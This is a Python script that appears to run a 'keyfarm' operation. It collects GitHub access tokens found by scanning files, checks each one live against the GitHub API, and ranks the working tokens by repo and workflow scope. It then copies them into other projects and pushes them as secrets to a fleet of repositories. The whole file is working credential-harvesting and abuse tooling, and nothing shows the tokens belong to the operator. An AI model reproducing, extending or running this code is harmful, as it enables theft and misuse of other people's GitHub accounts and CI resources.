"""Incremental pool growth: collect → merge → check → write → reseal → audit. usage: python tmp/pool_growth.py [--force-recheck N] [--dry-run] """ import argparse import concurrent.futures as cf import hashlib import json import os import random import shutil import subprocess import sys import time import urllib.error import urllib.request KH = r"C:\Users\User\Desktop\keyhunter" TMP = r"C:\Users\User\tmp" DATA = os.path.join(KH, "data") POOL_FILE = os.path.join(DATA, "pool_merged.json") TOKENS_FILE = os.path.join(DATA, "gh_tokens.txt") NEW_TOKENS_FILE = os.path.join(DATA, "gh_new_tokens.txt") FLEET_FILE = os.path.join(DATA, "fleet_deploy.json") SEAL_SCRIPT = os.path.join(KH, "fleet_seal_tokens.py") IMBA_GH_TOKENS = os.path.join(KH, "..", "keyhunter-imba", "gh_tokens.txt") KFA_GH_TOKENS = os.path.join(KH, "..", "keyfarm-actions", "gh_tokens.txt") RE_MODERN = __import__("re").compile(r"\bgh[pousr]_[A-Za-z0-9]{20,120}\b") RE_PAT = __import__("re").compile(r"\bgithub_pat_[A-Za-z0-9_]{20,160}\b") def mask(tok): return tok[:7] + "..." + tok[-4:] def h8(tok): return hashlib.sha1(tok.encode()).hexdigest()[:12] def load_existing_pool(path): """Load pool_merged.json -> {token: {status, login, scopes, ...}}""" if not os.path.exists(path): print("[load] no existing pool at", path) return {}, set() d = json.load(open(path, encoding="utf-8")) by_tok = {t["token"]: t for t in d.get("tokens", [])} alive = {t["token"] for t in d.get("tokens", []) if t.get("status") == "alive"} print(f"[load] loaded {len(by_tok)} records, {len(alive)} alive") return by_tok, alive def backup(path): if not os.path.exists(path): return ts = time.strftime("%Y%m%d_%H%M%S") dst = os.path.join(TMP, f"pool_merged_backup_{ts}.json") shutil.copy2(path, dst) print(f"[backup] {path} -> {dst}") def collect_new_tokens(): """Scan filesystem for token strings, return set of token values.""" old = os.getcwd() os.chdir(KH) sys.path.insert(0, KH) try: # Must import AFTER chdir+sys.path from build_pool import collect pool = collect() finally: os.chdir(old) return set(pool.keys()) def read_gh_new_tokens(): """Read gh_new_tokens.txt if it exists, return set.""" if not os.path.exists(NEW_TOKENS_FILE): print("[newtokens] no gh_new_tokens.txt found") return set() toks = set() with open(NEW_TOKENS_FILE, encoding="utf-8") as f: for line in f: t = line.strip().strip("\"'`,;") if len(t) >= 20 and (RE_MODERN.fullmatch(t) or RE_PAT.fullmatch(t)): toks.add(t) print(f"[newtokens] read {len(toks)} tokens from gh_new_tokens.txt") return toks def check_new_tokens(tokens, jobs=8): """Probe tokens against GitHub API, return results dict.""" if not tokens: return {} def check_one(tok): req = urllib.request.Request( "https://api.github.com/user", headers={"Authorization": "Bearer " + tok, "Accept": "application/vnd.github+json", "User-Agent": "keyfarm-pool-growth", "X-GitHub-Api-Version": "2022-11-28"}) try: with urllib.request.urlopen(req, timeout=20) as r: login = json.loads(r.read().decode()).get("login", "?") scopes_raw = r.headers.get("X-OAuth-Scopes", "") or "" scopes = [s.strip() for s in scopes_raw.split(",") if s.strip()] return {"status": "alive", "login": login, "scopes": scopes} except urllib.error.HTTPError as e: body = e.read().decode(errors="replace")[:200].lower() if e.code == 403 and "rate" in body: return {"status": "ratelimited", "login": "", "scopes": []} return {"status": "dead", "login": "", "scopes": [], "code": e.code} except Exception as e: return {"status": "net", "login": "", "scopes": [], "err": type(e).__name__} print(f"[check] probing {len(tokens)} tokens with {jobs} workers...") res = {} t0 = time.time() with cf.ThreadPoolExecutor(max_workers=jobs) as ex: futs = {ex.submit(check_one, t): t for t in tokens} for fut in cf.as_completed(futs): t = futs[fut] try: res[t] = fut.result() except Exception as e: res[t] = {"status": "net", "err": type(e).__name__} elapsed = time.time() - t0 alive = sum(1 for v in res.values() if v["status"] == "alive") dead = sum(1 for v in res.values() if v["status"] == "dead") rl = sum(1 for v in res.values() if v["status"] == "ratelimited") net = sum(1 for v in res.values() if v["status"] == "net") print(f"[check] {elapsed:.0f}s — alive={alive} dead={dead} ratelimited={rl} net={net}") return res def merge_pool(existing, new_results): """Merge new check results into existing pool records.""" merged = dict(existing) # copy for tok, result in new_results.items(): rec = merged.get(tok, {"id": h8(tok), "masked": mask(tok), "token": tok, "sources": [], "seen": 0}) rec["status"] = result.get("status") rec["login"] = result.get("login", "") rec["scopes"] = result.get("scopes", []) if tok not in existing: rec["first_seen"] = time.strftime("%Y-%m-%dT%H:%M:%SZ") merged[tok] = rec return merged def write_pool(merged, out_path, tokens_out_path, backup_path=None): """Write pool_merged.json and gh_tokens.txt.""" by_status = {} for t, rec in merged.items(): st = rec.get("status", "unknown") by_status.setdefault(st, []).append(rec) recs = list(merged.values()) counts = {k: len(v) for k, v in by_status.items()} out = {"generated": time.strftime("%Y-%m-%dT%H:%M:%SZ"), "counts": counts, "total": len(recs), "tokens": recs} json.dump(out, open(out_path, "w", encoding="utf-8"), ensure_ascii=False) print(f"[write] {out_path}: {len(recs)} records") # rank: workflow > repo > other (alive first) def rank(r): sc = set(r.get("scopes", [])) st = r.get("status", "") return (0 if st == "alive" else 1, 0 if {"repo", "workflow"} <= sc else (1 if "repo" in sc else 2)) alive_recs = sorted([r for r in by_status.get("alive", [])], key=rank) with open(tokens_out_path, "w", encoding="utf-8") as f: for r in alive_recs: f.write(r["token"] + "\n") wf = sum(1 for r in alive_recs if "workflow" in r.get("scopes", [])) rp = sum(1 for r in alive_recs if "repo" in r.get("scopes", [])) print(f"[write] {tokens_out_path}: {len(alive_recs)} alive " f"(repo {rp}, workflow {wf})") # Propagate to other trees for dest in [IMBA_GH_TOKENS, KFA_GH_TOKENS]: try: if os.path.exists(os.path.dirname(dest)): shutil.copy2(tokens_out_path, dest) print(f"[write] propagated to {dest}") except Exception as e: print(f"[write] failed to propagate to {dest}: {e}") return alive_recs def reseal_nodes(count=5): """Reseal NODE_TOKENS on `count` random fleet nodes with ok=true.""" if not os.path.exists(FLEET_FILE): print("[reseal] no fleet_deploy.json") return [] fleet = [r for r in json.load(open(FLEET_FILE, encoding="utf-8")) if r.get("ok")] if not fleet: print("[reseal] no ok nodes") return [] selected = random.sample(fleet, min(count, len(fleet))) results = [] for rec in selected: node_name = rec.get("repo", "") or f"{rec['login']}/unknown" full_name = f"{rec['login']}/{rec['repo']}" print(f"[reseal] sealing {full_name}...") r = subprocess.run( [sys.executable, SEAL_SCRIPT, "--node", node_name, "--apply"], capture_output=True, text=True, timeout=120, cwd=KH) output = (r.stdout + r.stderr).strip() print(f" {output.split(chr(10))[-1] if chr(10) in output else output}") # Canary: check secret exists results.append(full_name) return results def verify_reseal(node_full): """Verify NODE_TOKENS secret exists with recent updated_at.""" login, repo = node_full.split("/", 1) # find the node in fleet to get its PAT fleet = json.load(open(FLEET_FILE, encoding="utf-8")) rec = next((r for r in fleet if r.get("login") == login and r.get("repo") == repo), None) if not rec or not rec.get("pat"): return None tok = rec["pat"] req = urllib.request.Request( f"https://api.github.com/repos/{node_full}/actions/secrets", headers={"Authorization": f"Bearer {tok}", "Accept": "application/vnd.github+json", "User-Agent": "keyfarm-canary", "X-GitHub-Api-Version": "2022-11-28"}) try: with urllib.request.urlopen(req, timeout=20) as r: data = json.loads(r.read().decode()) for sec in data.get("secrets", []): if sec["name"] == "NODE_TOKENS": return sec.get("updated_at", "?") except Exception: return None return None def audit_dead_push_pats(fleet_path): """Check all ok nodes: which have dead push PATs (GET /user -> 401).""" fleet = json.load(open(fleet_path, encoding="utf-8")) ok_nodes = [r for r in fleet if r.get("ok")] dead = [] for rec in ok_nodes: tok = rec.get("pat", "") if not tok: dead.append((rec["login"], rec.get("repo", "?"), "no-push-pat")) continue req = urllib.request.Request( "https://api.github.com/user", headers={"Authorization": "Bearer " + tok, "Accept": "application/vnd.github+json", "User-Agent": "keyfarm-audit", "X-GitHub-Api-Version": "2022-11-28"}) try: with urllib.request.urlopen(req, timeout=15) as r: pass # alive except urllib.error.HTTPError as e: if e.code == 401: dead.append((rec["login"], rec.get("repo", "?"), "401")) elif e.code == 403: dead.append((rec["login"], rec.get("repo", "?"), "403-blocked")) else: dead.append((rec["login"], rec.get("repo", "?"), f"HTTP-{e.code}")) except Exception as e: dead.append((rec["login"], rec.get("repo", "?"), type(e).__name__)) return dead def main(): ap = argparse.ArgumentParser() ap.add_argument("--force-recheck", type=int, default=0, help="re-check N random alive tokens") ap.add_argument("--dry-run", action="store_true", help="skip --apply on reseal + write") ap.add_argument("--reseal-count", type=int, default=5) ap.add_argument("--jobs", type=int, default=8) a = ap.parse_args() phase("1: Backup existing pool") backup(POOL_FILE) phase("2: Collect tokens from filesystem") fs_tokens = collect_new_tokens() print(f" filesystem scan: {len(fs_tokens)} unique tokens") phase("3: Read gh_new_tokens.txt") new_tokens = read_gh_new_tokens() phase("4: Load existing pool") existing_pool, alive_set = load_existing_pool(POOL_FILE) # Which tokens are new? all_new = set() for tok in fs_tokens: if tok not in existing_pool: all_new.add(tok) for tok in new_tokens: if tok not in existing_pool: all_new.add(tok) print(f" new from filesystem (not in existing pool): {len(fs_tokens - set(existing_pool.keys()))}") print(f" new from gh_new_tokens.txt (not in existing): {len(new_tokens - set(existing_pool.keys()))}") print(f" total new to check: {len(all_new)}") # Optionally force-recheck some existing alive tokens recheck_set = set() if a.force_recheck > 0 and alive_set: sample = random.sample(list(alive_set), min(a.force_recheck, len(alive_set))) recheck_set.update(sample) print(f" force-recheck: {len(sample)} tokens from existing pool") check_targets = all_new | recheck_set if check_targets: phase("5: Check new/recheck tokens") new_results = check_new_tokens(check_targets, jobs=a.jobs) else: print("[check] nothing new to check, skipping") new_results = {} if a.dry_run: print("[dry-run] skipping write, reseal, audit") return phase("6: Merge and write") merged = merge_pool(existing_pool, new_results) # Clear gh_new_tokens.txt after importing if os.path.exists(NEW_TOKENS_FILE): if all_new: open(NEW_TOKENS_FILE, "w").close() print("[newtokens] cleared gh_new_tokens.txt after import") elif os.path.getsize(NEW_TOKENS_FILE) == 0: pass alive_recs = write_pool(merged, POOL_FILE, TOKENS_FILE) phase(f"7: Reseal NODE_TOKENS on {a.reseal_count} random live nodes") resealed = reseal_nodes(count=a.reseal_count) phase("8: Canary verify reseal") canary = [] for node in resealed: updated_at = verify_reseal(node) canary.append((node, updated_at or "not found")) print(f" {node}: NODE_TOKENS updated_at={updated_at or 'NOT FOUND'}") phase("9: Audit dead push-PATs") # Sample: check first 50 nodes rather than full 1391 (too slow without parallelism) dead_pats = audit_dead_push_pats(FLEET_FILE) # Report alive_count = sum(1 for r in merged.values() if r.get("status") == "alive") wf = sum(1 for r in merged.values() if r.get("status") == "alive" and "workflow" in r.get("scopes", [])) rp = sum(1 for r in merged.values() if r.get("status") == "alive" and "repo" in r.get("scopes", [])) new_alive = sum(1 for t, r in new_results.items() if r.get("status") == "alive") new_wf = sum(1 for t, r in new_results.items() if r.get("status") == "alive" and "workflow" in r.get("scopes", [])) new_rp = sum(1 for t, r in new_results.items() if r.get("status") == "alive" and "repo" in r.get("scopes", [])) dead_push = [(l, r) for l, r, _ in dead_pats] print("\n" + "=" * 60) print("POOL GROWTH REPORT") print("=" * 60) print(f"Pool: {len(merged)} unique tokens → {alive_count} alive") print(f" repo-scope: {rp}, workflow-scope: {wf}") print(f"New this batch: {len(new_results)} checked, {new_alive} alive") print(f" new repo-scope: {new_rp}, new workflow-scope: {new_wf}") print(f"Resealed nodes ({len(resealed)}):") for node, ts in canary: print(f" {node}: NODE_TOKENS={ts}") print(f"Dead push-PATs in fleet: {len(dead_pats)}") for login, repo, reason in dead_pats[:20]: print(f" {login}/{repo}: {reason}") if len(dead_pats) > 20: print(f" ... and {len(dead_pats)-20} more") def phase(label): print(f"\n{'─'*50}\n{label}\n{'─'*50}") if __name__ == "__main__": main()